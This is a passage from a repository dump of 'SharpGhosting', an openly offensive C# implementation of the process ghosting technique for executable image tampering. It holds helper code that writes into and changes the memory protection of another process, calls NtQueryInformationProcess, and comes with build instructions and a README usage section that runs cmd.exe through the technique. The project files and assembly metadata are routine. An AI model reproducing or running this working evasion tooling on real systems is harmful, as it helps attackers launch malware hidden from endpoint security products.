StringObject.MaximumLength = (UInt16)(StringObject.Length + 1); 206 | StringObject.Buffer = Marshal.StringToHGlobalUni(Data); 207 | IntPtr pUnicodeString = Marshal.AllocHGlobal(16); 208 | Marshal.StructureToPtr(StringObject, pUnicodeString, true); 209 | return pUnicodeString; 210 | } 211 | 212 | public static bool WriteRemoteMem(IntPtr hProc, IntPtr pSource, IntPtr pDest, Int32 Size, AllocationProtect Protect) 213 | { 214 | 215 | UInt32 BytesWritten = 0; 216 | bool bRemoteWrite = WriteProcessMemory(hProc, pDest, pSource, (uint)Size, ref BytesWritten); 217 | if (!bRemoteWrite) 218 | { 219 | return false; 220 | } 221 | 222 | UInt32 OldProtect = 0; 223 | bool bProtect = VirtualProtectEx(hProc, pDest, (uint)Size, Protect, ref OldProtect); 224 | if (!bProtect) 225 | { 226 | return false; 227 | } 228 | 229 | return true; 230 | } 231 | public static PROCESS_BASIC_INFORMATION PBI(IntPtr hProc) 232 | { 233 | PROCESS_BASIC_INFORMATION PBI = new PROCESS_BASIC_INFORMATION(); 234 | int PBI_Size = Marshal.SizeOf(PBI); 235 | long RetLen = 0; 236 | NtQueryInformationProcess(hProc, 0, out PBI, PBI_Size, out RetLen); 237 | return PBI; 238 | } 239 | } 240 | } 241 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpGhosting")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpGhosting")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("00a4e4af-f4f1-42ac-ac5a-224199ad8c73")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpGhosting 2 | Process Ghosting (x64 only) in C# 3 | 4 | https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack 5 | 6 | ## Compile options: 7 | 1. Build the solution 8 | 2. `PS C:\> C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /out:SharpGhost.exe /unsafe C:\Path\to\SharpGhosting\*.cs` 9 | - v4.0.30319's csc.exe also works for compiling 10 | 11 | ## Usage: 12 | -real: the exe you want executed [Required] 13 | -fake: path to a file that doesn't exist (parent directory must exist though) [Optional] 14 | 15 | `PS C:\> .\Path\to\SharpGhosting.exe -real C:\windows\system32\cmd.exe` 16 | `PS C:\> .\Path\to\SharpGhosting.exe -real C:\windows\system32\cmd.exe -fake C:\windows\temp\fakefile` 17 | 18 | ![Alt text](/images/demo.png) 19 | 20 | ## Super helpful projects: 21 | - https://github.com/hasherezade/process_ghosting 22 | - https://github.com/aaaddress1/PR0CESS/tree/main/miniGhosting 23 | - https://github.com/FuzzySecurity/Sharp-Suite/tree/master/SwampThing 24 | -------------------------------------------------------------------------------- /SharpGhosting.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {00A4E4AF-F4F1-42AC-AC5A-224199AD8C73} 8 | Exe 9 | SharpGhosting 10 | SharpGhosting 11 | v3.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | true 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | true 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /SharpGhosting.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32002.261 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpGhosting", "SharpGhosting.csproj", "{00A4E4AF-F4F1-42AC-AC5A-224199AD8C73}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {00A4E4AF-F4F1-42AC-AC5A-224199AD8C73}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {00A4E4AF-F4F1-42AC-AC5A-224199AD8C73}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {00A4E4AF-F4F1-42AC-AC5A-224199AD8C73}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {00A4E4AF-F4F1-42AC-AC5A-224199AD8C73}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {AE101868-7A02-44C4-BCA1-43C6C48BCAA5} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /images/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wra7h/SharpGhosting/9d12871f1ba47c309ea888f5f61b5edcbc6424ae/images/demo.png --------------------------------------------------------------------------------